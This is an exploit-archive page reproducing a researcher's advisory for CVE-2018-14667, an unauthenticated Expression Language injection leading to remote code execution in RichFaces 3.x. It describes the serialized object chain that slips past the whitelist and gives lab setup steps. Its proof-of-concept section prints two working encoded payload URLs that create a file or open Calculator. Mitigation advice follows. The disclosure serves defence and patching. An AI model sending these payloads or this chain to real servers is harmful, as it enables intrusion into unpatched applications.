what you don't know can hurt you

Richfaces 3.x Remote Code Execution

Richfaces 3.x Remote Code Execution
Posted Nov 20, 2018
Authored by Joao F M Figueiredo

Richfaces version 3.x suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2018-14667
MD5 | 4427edfb92d2e0dd973927a4785c6b81

Richfaces 3.x Remote Code Execution

Change Mirror Download
Original report+advisories:

TITLE:
====================
Unauthenticated Remote Code execution in WebApps using Richfaces 3.X all
versions.

RESUME
====================
RichFaces Framework 3.X through 3.3.4 (all versions) is vulnerable to
Expression Language (EL)
Injection via UserResource resource, allowing an unauthenticated remote
attacker to execute Java
arbitrary code and potentialy OS commanding using a special chain of java
serialized objects
inside a org.ajax4jsf.resource.UserResource$UriData.

DETAILS
====================
PS: others details can be seen on the slides:
https://www.slideshare.net/joaomatosff/a-little-bit-about-code-injection-in-webapplication-frameworks-cve201814667-h2hc-2018

The Richfaces expects to receive a serialized resource of the type
"org.ajax4jsf.resource.UserResource"
via URLs with the pattern:
"/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/s/{HashCode of the
MimeType Resource}/DATA/{Encoded Serialized Object}".
When this occurs, a check of allowed types is made using a restrict
whitelist (Look-Ahead) in order to
avoid deserialization vulnerabilities.

Following is the Look-Ahead strict whitelist with the allowed types:

1) org.ajax4jsf.resource.InternetResource
2) org.ajax4jsf.resource.SerializableResource
3) javax.el.Expression
4) javax.faces.el.MethodBinding
5) javax.faces.component.StateHolderSaver
6) java.awt.Color

However, although it is not vulnerable to deserialization, it is possible
to construct a special chain
of objects using only allowed types and containing a tainted Expression
Language (EL) in a specific way
that result in it being automatically evaluated by the UserResource class
after the correct deserialization
of the chain (after the cast, not before).

In order to be vulnerable, an application only need to:

1) Use the mediaOutput feature in any point at any time (the attacker don't
need to know where this feature
is used. It just needs that this functionality had been used at any time
by the application).

If the point (1) is satisfied, the application will contains a resource
inside an internal HashMap with the
key like the following:

/----- Resource Name
\/
Key: org.ajax4jsf.resource.UserResource/n/s/-1487394660 <--- HasCode of
resource MimeType (eg "image/jpeg")
/\ /\
| \____
if the resource is of session scope (/s) or not (/n)
\_______
if the resource is cacheable (/c) or not cacheable (/n)

The original intent of the UserResource is to create or restore a resource
(like images, flash, audio, etc)
and send it back/draw to the user. So, this is one of the most commons
features used by richfaces web
applications.

An attacker can abuse of this feature forcing the application to evaluate
his tainted EL using a chain like
the following:

1] [Obj] org.ajax4jsf.resource.UserResource$UriData
createContent:
2] [Obj]javax.faces.component.StateHolderSaver
savedState:
3] [Obj] com.sun.facelets.el.TagMethodExpression
orig:
4] [obj] org.jboss.el.MethodExpressionImpl
exp:
"${OUR PAYLOAD}" <-----
The malicious EL can be put here.

In the previous chain, notice that all types used are allowed by the
look-ahead protection:

1] "org.ajax4jsf.resource.UserResource$UriData" is an
"InternetResourceBase" that is an "InternetResource"
(whitelisted);
2] "javax.faces.component.StateHolderSaver" (whitelisted)
3] "com.sun.facelets.el.TagMethodExpression" is an "MethodExpression" that
is and "Expression" (whitelisted)
4] "org.jboss.el.MethodExpressionImpl" is and "MethodExpression"
(whitelisted)

Notice that the points [2] and [3] of the chain can also be changed in
order to exploit different platforms.

After create the exploit chain, it is needed to encode it properly and make
an HTTP GET in the proper
UserResource URL with the payload.
eg. /a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/{hashCode
of mime}/payload

The {hashCode of MimeType} is not always needed (depends on how the
application uses these features).

When the payload is received by the app, the chain is deserialized and the
UserResource.send() method
is invoked by the ResourceLifecycle.sendResource(). Inside this method, the
content of UserResource$UriData
is restored and our MethodExpression is invoked. Thus, our tainted data
(EL) has reached a taint sink
(MethodExpression.invoke()), leading to the EL evaluation.

Stacktrace example:

org.jboss.el.MethodExpressionImpl.invoke(MethodExpressionImpl.java:276) <-
This contains user controlled data!
org.ajax4jsf.resource.UserResource.send(UserResource.java:109)
org.ajax4jsf.resource.ResourceLifecycle.sendResource(ResourceLifecycle.java:221)
org.ajax4jsf.resource.ResourceLifecycle.send(ResourceLifecycle.java:148)
org.ajax4jsf.resource.InternetResourceService.serviceResource(InternetResourceService.java:226)
org.ajax4jsf.resource.ResourceBuilderImpl.decrypt(ResourceBuilderImpl.java:626)
org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(ResourceBuilderImpl.java:371)
org.ajax4jsf.resource.InternetResourceService.serviceResource(InternetResourceService.java:156)
org.ajax4jsf.resource.InternetResourceService.serviceResource(InternetResourceService.java:141)


# PROOF OF CONCEPT #
====================
PS: You can see PoCs using JBoss and Tomcat in the following video:
https://www.youtube.com/watch?v=HR7-nL5G91w

In order to demonstrate this vulnerability, we can deploy a richfaces demo
application in a Java Application
Server/Container (eg. JBoss, tomcat, Jetty, WebLogic, etc).

For the PoC, let's use the following configuration:

1) Photoalbum demo application (that uses Richfaces v 3.3.4)
2) JBoss AS 5.1.0.GA <http://5.1.0.ga/> or JBoss EAP 5.1.2

* Deploying the lab:

1) Get the demo app:
http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
2) Extract the richfaces-examples-3.3.4.Final.zip
3) Copy the app in
richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear
to the JBoss deploy dir
in jboss-5.1.0.GA/server/default/deploy
<http://jboss-5.1.0.ga/server/default/deploy> (for 5.1.0.GA
<http://5.1.0.ga/>) or jboss-eap-5.1/jboss-as/server/default/deploy (for
5.1.2 eap)
4) Start JBoss Application Server: cd bin ; ./run.sh -b 0.0.0.0
5) Open the photoalbum index page. Eg. http://192.168.0.1:8080/photoalbum/
6) Use the following PoCs (tested in JBoss EAP 5.1.2 and JBoss AS 5.1.0.GA
<http://5.1.0.ga/>)

1) (LINUX) Execute command: touch /tmp/richfaces0day_joaomatosf
eg.
http://192.168.0.1:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAFdUs9r1EAY!bpYrL9ArSgehBqL7YpMBGsRakFai1Z2LXStoB7k2-Tb7IRkZpyZtKml3rwoePHqzate7MGz14KX!g2CiAgiiFdnksXS5pJ84c17b9773v-EYaPhktQJwxTLqdT0mCYjCx0RWzGklwfD-Irmt9Ai-Gf02o8GHGjBsUgTWpqXwpKwFk62UlzFMEORhEvdlCI704KDVCruOJ!CcxhqwUguY97jFA!m4VXMCqqGUjkvFz1FyXoYkWGRzJUUjpt1rBO6I7OYdAdXST!c3pp98!ZLuwGNFhyKMjTmHua010PHai4S5-GwcWfiisPC6doll2GHNMeMP8NuRjOl8vITTpKZQlQGMrKGUcbuY9Im25fxQqncTQyXosoBYOgoQKnhbG3aQffjPobbr77-nXrdqHCj!3G7TO9evOz8frRzwyO8g!O-jLQrTSW9n28xV1n315k!Rz6faHttH9zI2ifYGt8IApaQnfdRTDZZT2ofyGRQS5pIc-VirF4LIuGC2igwIR00maC1RWEsiojcSUdSA-bWBwzGYcj1VJMx3y9bLoTlOXn04NMdpZKiyQkri6g!FtpchZpH!arKKzGuP0klyhytNL2JZtDcBCg0jD6u6qhJB4V92Hnw7fu5jdtVJC7phoVT!hqMS7ZUWFVYByTMLRyvfleG6oVTqlxrwd0w4bZfdP0ChbuqYUqlD3bs5tXpy9PXx!as72xwYSOnmOMcoWBKS7eAZjNwa6H-AZCFGGE_

2) (MACOS) Open Calculator
eg.
http://192.168.0.1:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAFdUk1rFEEQrSwG4xeoEcWDEMdgsiI9B2MQYkCzBo3sGsgaQXOqna2d9DDT3Xb37I4u8eZFwYtXb171oOIP8Brwkt8giIgggni1e2ZRkr5M1!Dqvdev6s0PGDcaLkgdM0ywmEtMj2kyMtcRsXVDem1UTK9rfgMtgj-Tl7!XYF8TjkSa0FJDCkvCWjjeTLCPYYoiDlc7CUV2oQn7qVDccT6EJzDWhIlMdnmPU3dUj!cxzaksCuW8nPcUBethRIZFMlNSOG7Wtk7olky7pNvYJ31!-8Piy1efWzWoNeFAlKIxdzCj3R7aVnMROw8HjevplhwWTlYuuQzbpDmm!DF2UloolJefcZLM5KI0kJI1jFJ2F-MW2U3ZXS6Ue4nhUpQ5AIwdBig0nK5MO-he3Ptw-!mXP3MvaiVu8h!uP9Prp8!avx7sXPUI7-CsH0bSkaaU3su3kqm08!PU70OfjrW8tg9uYvAR3k0Pg4DFZBs-itk660ntA5kNKkkTaa5cjOVnWcRcUAsFxqSDOhM0WBHGoojIdTqSCrD0aMRgHIbcnCoy5ufL1nJheUYePbq6Vioomp2RisRUeF2plEdoXVgmbGAa5SlaqRkqNVMP6lsAuYbJjXIYFeVoXG937n39dmZ4swzE5VyzcMI!gnHJVnOrcuuAhJmFo-Xv0k61bkoVgybcDmNuN!OOX58wkSgzJ2x6YUKFj3Xq2qX5i!NXpnYt72JwbphRl-MSoWBKS7d-ZitwS6H-Ahv8F1M_

PS: before execute the HTTP GET with the PoCs, you need to open the index
page of the app (eg. http://192.168.0.1:8080/photoalbum/).

PS: Note that for other application servers, you may need to generate other
payloads.


MITIGATION ADVICES
====================
Since richfaces has reached the end of life, users should apply their own
fix. As a suggestion
users can perform the sanitization of any EL received from the untrusted
sources (tainted) or
even to disable EL evaluation in the Richfaces.

As the execution is triggered internally by the Richfaces lib, you can
follow some paths, eg:
Whenever your application receives a serialized object that will be catched
by the richfaces,
the method getResourceDataForKey of the class ResourceBuilderImpl invokes
the class
LookAheadObjectInputStream which will ensure that only the whitelisted
types can be
deserilized. After that, you can include a second whitelist to ensure that
only trusted ELs
used by your application can be allowed.


FINAL CONSIDERATIONS
====================
RedHat rated this with CVSS3 Base Score 9.8 and issued the cve id
CVE-2018-14667.
Ref: https://access.redhat.com/security/cve/cve-2018-14667

Until now, they released the following advisories about affected products:
https://access.redhat.com/errata/RHSA-2018:3517
https://access.redhat.com/errata/RHSA-2018:3518
https://access.redhat.com/errata/RHSA-2018:3519
https://access.redhat.com/errata/RHSA-2018:3581

Since Richfaces framework is used by many private and opensource projects,
it is very important
to check your assets to ensure that you are not vulnerable.

---------------
Joao Filho Matos Figueiredo
https://github.com/joaomatosf
Twitter @joaomatosf

------
JoAPSo F M Figueiredo
https://twitter.com/joaomatosf
https://hackerone.com/joaomatosf <http://lattes.cnpq.br/9638348593991566>


Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    16 Files
  • 23
    Oct 23rd
    2 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    1 Files
  • 26
    Oct 26th
    17 Files
  • 27
    Oct 27th
    19 Files
  • 28
    Oct 28th
    26 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close